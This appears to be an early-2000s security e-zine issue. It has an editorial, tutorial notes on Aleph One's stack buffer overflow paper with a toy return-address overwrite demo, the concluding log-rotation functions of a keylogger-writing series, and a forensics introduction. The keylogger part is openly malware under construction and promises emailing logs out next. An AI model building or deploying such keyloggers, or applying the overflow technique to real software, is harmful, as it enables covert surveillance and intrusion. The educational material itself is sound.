DISCLAIMER : [Insert the biggest, most comprehensive lawyerspeak here]. Securitywriters.org (SWG) or the author(s) are NOT RESPONSIBLE for anything that happens to you, ur cat, dog, sexlife or wife after you go through the information presented below. Enjoy.

Contents

• Editorial
  { News, Views etc }
  

• Buffer Overflows : My notes
  (..while reading Aleph One's classic paper..)
  
  { Contrib : Hitchhiker }
  

• Advanced Meal (Continued from #3)
  (Case Study - A keylogger in an API, Concluding part)
  
  { Contrib : Ayan Chakrabarti }
  { Note : Be sure to read the previous parts }

• Forensics : The SWG experiment
  { Contrib : Charles Hornat }

Suggested Links :HW issue #3

Movies :

Beautiful Mind, Spiderman , Mask (1985 - *ing Cher, Eric Sholtz)

Music :

Toploader (Achilles Heel), Barenaked Ladies (Pinch Me), Dave Mathews Band (Where are you going ?), Arun Koshy (Rhythm)

Editorial

[September]

• Seeing the whole world debate on the WAT (war against terror), the essay entitled "The Terrible Logic of Nukes" in the by Charles Krauthammer captures the essence. We've come to a point where we can eloquently justify weapons of mass destruction, hate on the basis of religion (which is man's way of dividing god) ..

• A very interesting vulnerability is discovered in Outlook Express, another way to evade anti-virus scanners (JUST for the time being of course.. AV guys will patch this pretty easy, just have to put another handler for split mails) here.

• The crew comes up with a new design for the site. Its astouding, now im feeling alive. Let's get to work! Cheers to Reso , Stat,MrC,Monk!
  

• This issue seems to be tougher and tougher to write .. things are slowing down at one end and on the other, its getting too fast. A decision was made to make an update on HW #4 as #5 is getting delayed due to people needing more time with contribs.

• Guns N Roses kicks off their "Chinese Democracy" tour ! Its good to see Axl raise hell once again. More at http://www.gnronline.com and http://www.lostrose.com.. rockin as usual .. Its about time.. infact last year, Rock In Rio (RIR) was the return for the king of the jungle.

• Decided to work on Crowds and also get back to kernel design. Another amazing thing .. I recorded my first guitar solo (about 5 mins of mindless acoustic strummin) .. thinkin of putting it for public ridicule :). It remains special to me atleast cause it's done for Rachiel -). Tentatively titled "High on Chords Seven" .. a line taken from one of my poems.

• The strummin evolved into a song. I think its pretty cool :). Read more about it here. Incase you were wondering what I was doing all this time ;-).

• Saw Minority Report .. another film which could be very realistic (similar to the Matrix and A.I .. artificial, scary future).

• Brought D. Knuth's Vol 1... seems fascinating, also brought RH 7.3 (needed the next version, so had to buy the book). The phone line remains faulty as usual.

• Found a classic book "The Design of the Unix Operating System" by Bach.. and also got my hands on "A new kind of Science" by Stephen Wolfram (madman or in the league of Newton ?).. okay, I admit it .. an unsatiable appetite for collecting the classics be it from the present or the past :).

[June]

Ayan launched a new project about which he writes...

AI-Bots is an event that we plan to have at the IIT Madras techfest - Shaastra. AI-Bots is generally a programmer's game. Instead of sitting and playing a game, you're expected to write programs to do the same thing.

A combat server runs which simulates a world with walls, flags, etc and two or more robots. For each robot, there's a corresponding controlling process. Each process can query the server for various things (player's position, game time, status of flags, etc.) as well
as issue commands to its robot (move, stop, scan, shoot bombs) through libraries that are provided. You can write the controlling process in C or C++.

A beta version of the simulator is up with sample maps and robots. Check it out at
http://aibots.sourceforge.net/

Also, check his personal website for earlier masterpieces like Keysave, Meghdoot, Wonko, Guptachar etc. This month has been better (thank god!). Expect a lot of updates in this issue soon!

PS :

Looking at the mail HW received during the month, We now have a special e-mail addy. Send all your hacking requests to hackthis@127.52.43.7 . Some of the world's best hackers are at your service 24-7, Mail now!

[May]
"It's been a weird month of May".. these were my first words when I started writing this time around.. then the power blew out, I went downstairs. The summer is at its worst here and you literally feel the heat coming in from all the directions. Couple that with my weird life peppered with exams and totally out of control sitiuations.. its simply great :-).

With nothing better to do , I started reading a small little book.. Words of Hope.. here's a quote I found in it :

The unedurable is the beginning of the curve of joy
.. Djuna Barnes

Let's test this. Atleast I want to. The moment for me is now.

Contribute! Learn! Discuss!

Contact:
You're invited to send in your entries, comments et.al for publication to hwcol@arunkoshy.cjb.net

Hot Topics (but definitely not restricted to):
algorithms, stuff related to systems programming and applied network security.

Style:
SWG advocates a "hands-on" approach .. Get to the code or point. Provide references and links if necessary (especially if you're presenting a fresh perspective on something already known).

Buffer Overflows: My notes
By Arun Darlie Koshy

The concept of buffer overflows should be known by everyone who wishes to follow principles of secure programming. Many automated attacks (or say the propagation of a wormnet) could use this technique. I have no ambitions of writing a how-to or an authoratitive article on the subject as its already been done by many wiser and more experienced people.

This article is nothing but a bunch of notes on Aleph One's seminal paper on the subject (Phrack #49, Smashing The Stack For Fun And Profit). A simple attempt to lay out things clearly for myself and I hope it helps someone who is trying to grasp the same things.

Our overall aim is to be able to run code with the privileges of the current executing process. Before we get into any of this :

• remember like everything I think it will be some time (incase you or i don't get bored with it) till we master the whole process to achieve real world success (i.e a shout in Bugtraq :)).

• I assume you've already tried reading up some of the classic literature especially Aleph's paper, and are comfortable with C , Assembly (Even if u've had the experience in DOS/Win32). An ideal setting would be to have the Phrack paper alongside as I am not writing all the concepts which are beautifullly explained in it.

• We should have an IRC discussion on this issue in which interested members from the SWG community get together and talk about their own experiences.

Issues, Code and Fandango on core
1) The first thing which needs to be understood clearly are the two pointers to the stack (SP and BP).

" the stack pointer (SP) points to the top of the stack. The bottom of the stack is at a fixed address. Its size is dynamically adjusted by the kernel at run time. The CPU implements instructions to PUSH onto and POP off of the stack "

First thing which I've found useful in reading about a subject is to get to the zen, avoid the details which can be intuitively applied ... all you need to remember is that the SP is one for the whole program .. it is being constantly used.

We now understand why the BP (Base Pointer, Frame Pointer etc) is used .. local variables can be found out or "referenced" by giving their offsets from the SP .. but as the SP itself is being constantly changed due to PUSH/POP, this is tough for the computer to keep track off... there for we make a fixed reference point (kind of like what happens in mechanics) by copying the value of SP into BP before the function proceeds.

So every function (including main) would start with :

push %ebp
mov %esp,%ebp

Here the previous BP register is saved by pushing it into the stack. Next the value of SP is copied into BP to provide the current one for the function. This also gives a weird difference between *nix asm format and DOS/Win32.. the left hand side (LHS) is copied into the right hand side (RHS) (i.e move %esp, %ebp -> esp goes into ebp).

2) Arguments are always handled in the calling function (i.e suppose main() calls security() with some arguments, the arguments are stored onto the stack before the control is passed). An example :

void main()
{
   if(security(1,2))
   printf("Secure!\n");
   else
   printf("Cracked!\n");
}

gdb output w.r.t to the function call

0x8048480 <main>: push %ebp
0x8048481 <main+1>: mov %esp,%ebp
0x8048483 <main+3>: sub $0x8,%esp
0x8048486 <main+6>: sub $0x8,%esp
0x8048489 <main+9>: push $0x2
0x804848b <main+11>: push $0x1
0x804848d <main+13>: call 0x8048460 <security>

3) The most important thing to be kept in mind is this map keeping the order in mind :

[exploitable buffer] [sfp] [return address]

• SFP (saved frame pointer) is nothing but the BP and the return address is what we want to change
• The exploitable buffer's address is used for referencing/calculating and the size of SFP is added to arrive at the return adress (4 bytes in 32 bit environments like Linux,Win32).

4) Lets now do an example to make things clearer :

#define TRUE 1

int security()
{
   char buf[4];

   /* possible buffer overflows
      strcpy(buf,string); -> and string is > 4
      gets(string); -> user enters crap > 4
   */

   return TRUE;
}

void main()
{
   if(security())
   printf("Secure..\n");
   else
   printf("Insecure!\n");
}

[work@swg work]$ gcc -o bufe -g tmp.c
tmp.c: In function `main':
tmp.c:14: warning: return type of `main' is not `int'
[work@swg work]$ ./bufe
Secure..
[work@swg work]$

Normal execution of the code results in the message "Secure.." being printed. The map in this case is :

[buf] [sfp] [return address]

We can now visualize how a buffer overflow can happen .. buf is n bytes, incase anything writes more than n bytes .. it will get to the regions outside and can overwrite sfp, the return address et.al .. we're interested in achieving a controlled overwrite on the return address. This will enable us to jump to a particular location in memory (a part in the code itself, or the start to some other code which we wish to execute). For this example, lets set the target that printf("Insecure!\n") should be always executed.

Let's now power up gdb and study the executable :

This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048470 <main>: push %ebp
0x8048471 <main+1>: mov %esp,%ebp
0x8048473 <main+3>: sub $0x8,%esp
0x8048476 <main+6>: call 0x8048460 <security>
0x804847b <main+11>: mov %eax,%eax                      //function security returns at this address
0x804847d <main+13>: test %eax,%eax
0x804847f <main+15>: je 0x8048494 <main+36>          //the jump incase the function returned FALSE (0)
0x8048481 <main+17>: sub $0xc,%esp
0x8048484 <main+20>: push $0x8048518
0x8048489 <main+25>: call 0x804833c <printf>
0x804848e <main+30>: add $0x10,%esp
0x8048491 <main+33>: jmp 0x80484a4 <main+52>
0x8048493 <main+35>: nop
0x8048494 <main+36>: sub $0xc,%esp                         //this is where we want to jump
0x8048497 <main+39>: push $0x8048522
0x804849c <main+44>: call 0x804833c <printf>
0x80484a1 <main+49>: add $0x10,%esp
0x80484a4 <main+52>: leave
0x80484a5 <main+53>: ret
End of assembler dump.

First, do not get dazed by the lump of machine code .. we're looking for a few things which we want .. just train your eyes to see that, life is really cool if u learn to focus.

We see that :

• the call to security() happens 6 bytes past the program entry point (i.e main+6)
  
  
• after the function executes, we return to main+11 (i.e 0x804847b)
  
  
• we see that printf("Insecure!\n") is setup at main+36 with the following lines :
  0x8048494 <main+36>: sub $0xc,%esp
  0x8048497 <main+39>: push $0x8048522
  0x804849c <main+44>: call 0x804833c <printf>
  
  
• But, je main+36 is never executed as the function returns TRUE
  
  
• So our target is to change the return address from main+11 to main+36 bypassing the normal operation, we aim to do this by changing the return address using the overflow (actually in this example, we would just declare our own rogue pointer). To calculate this easily, just power up ur calculator program in hex mode and do 94 - 7b (i.e 0x8048494 - 0x804847b) which gives us 0x19 (or 25 in decimal).

Now we take a look at the function security()

(gdb) disas security
Dump of assembler code for function security:
0x8048460 <security>: push %ebp
0x8048461 <security+1>: mov %esp,%ebp
0x8048463 <security+3>: sub $0x4,%esp
0x8048466 <security+6>: mov $0x1,%eax
0x804846b <security+11>: leave
0x804846c <security+12>: ret
End of assembler dump.
(gdb) quit

• We see that buf[4] measures 4 bytes in length, so to reach the return address we should get to 4+4 (buf+sfp).
  
  
• The length is actually weird to figure out due to gcc optimizations , eg. suppose if the function was
  
  int security()
  {
     char buf[5];    //instead of 4
     return TRUE;
  }
  
  the resulting machine code (as on my system) is :
  
  (gdb) disas security
  Dump of assembler code for function security:
  0x8048460 <security>: push %ebp
  0x8048461 <security+1>: mov %esp,%ebp
  
  //strange considering that even by applying the logic that it wants to be mod 4, it should have been 8, instead 24 is set out.
  0x8048463 <security+3>: sub $0x18,%esp
  
  0x8048466 <security+6>: mov $0x1,%eax
  0x804846b <security+11>: leave
  0x804846c <security+12>: ret
  End of assembler dump.
  (gdb) quit
  
  Even the example given in Aleph's paper disassembles with different values. Neways may the explanation be found later
  ;-).

Now we simulate a buffer overrun, having all the data which we have, we modify the example so that we adjust the return address according to our aim :

int security()
{
   char buf[4],*poison;
   poison=buf+8;         // the rogue pointer is set to 4+4 past the start of buf
   (*poison)+=25;       // the return address is incremented by 25 which is the computed difference to reach printf("\nInsecure!);
   printf("Im the weak link!\n");
   return TRUE;
}

void main()
{
   if(security())
   printf("Secure..\n");
   else
   printf("Insecure!\n");
}

[work@swg work]$ gcc -o bufe -g tmp.c
tmp.c: In function `main':
tmp.c:14: warning: return type of `main' is not `int'
[work@swg work]$ ./bufe
Im the weak link!
Insecure!
[work@swg work]$

We see that we are successful in our attempt. A buffer overflow has been "simulated" .. During the next few weeks, We are going to learn a lot more including actual exploit coding, disassembling etc. Time for you to brush up on your Unix n Win32 assembler skills. SoftICE would be used in place of gdb once we go for Win32.

Thanks to Nipon for being a guide, constant friend and patient listener in the most weird of times. Hang in there bro!

References

• Smashing the Stack for Fun n Profit by Aleph One
  
  
• badc0ded - A repository of links, papers on the subject

Advanced Meal - A keylogger in an API
by Ayan Chakrabarti

Its time to wrap up the keylogger. Only a couple of functions need to be explained. These functions have nothing to do directly with keylogging but play a crucial part in the maintenance of log files. If you have coded them yourself or atleast tried after reading the last two parts of this article, you deserve a pat on the back

Let's look at the first function, istime().

int istime()
{
   struct dosdate_t dt;
   int dayweek;
   char sdt[2];

   _dos_getdate(&dt);
   sdt[0] = '0' + dt.dayofweek;
   sdt[1] = '\0';

   dayweek = GetProfileInt("KBDLOG","WDY",7);
   WriteProfileString("KBDLOG","WDY",sdt);

   if(dayweek == 7 || dayweek == dt.dayofweek)
      return 0;
   else
      return 1;
}

This is a simple function. It returns whether time has come to change the log file and start logging into a new file. The criteria is that a new log file is created every day. We check the last stored weekday and compare it with the current week day. If they're different, then its time to change.

Ok, next function is getfname(). This gets the name of a new filename to which to the active logfile is rename. Lets take a look at the code.

void getfname(char * fname)
{
   int seq,i;
   char numb[10];

   seq = GetProfileInt("KBDLOG","SEQ",0);
   seq = (seq+1) % 10000;

   strcpy(numb,"0000");
   i = 0;
   while(seq > 0)
      {
         numb[3 - i] = (seq%10) + '0';
         seq/=10;
         i++;
       }
   GetWindowsDirectory(fname,990);
   strcat(fname,"\\KBDLOG\\MLQ");
   strcat(fname,numb);
   strcat(fname,".MQU");
   WriteProfileString("KBDLOG","SEQ",numb);
}

This one's pretty simple as well. We maintain a value called SEQ which we keep incrementing. And we create a file called WINDIR\KBDLOG\MLQ###.MQU where ### represents SEQ.

So, that concludes our discussion. Things would get really interesting if our keylogger could email these log files to a desired address. Well, that's next time :-).

• Read up on network programming (Pick up your Richard Stevens!)
  
  
• Check Keysave at my site incase you've not done so already.

Forensics : The SWG Experiment
By Charles Hornat

Digital forensics is a topic that is often mis-interpreted. It is often referred to as: "How to recover deleted files"

Recovering deleted information is simply a part of the science of  forensics. It can be better defined as finding truth with technology. An electronic forensic investigation can be as simple as opening up the file browser and searching for a file, or complex like recovering deleted information from a disk, or mundane like reviewing access logs to your building.

The project at SWG is a living project, meaning it will continue to grow as new ideas, new techniques, and new methods of
hiding data are discovered. We will investigate key settings in various operating systems, specific filesytems, tools such as "Coroners Toolkit" and "Forensic Browser" etc.

The section will have tutorials based on real life experiences. By sharing experiences, one will be able to relate better.In addition, some of the topics presented here will coincide with the Honeynet@home project.

Coming soon @ Securitywriters.org!!! Also check the SWG library's Forensic section

All images, content & text (unless other ownership applies) are © copyrighted 2003, Infosecwriters.com. All rights reserved. Comments are property of the respective posters.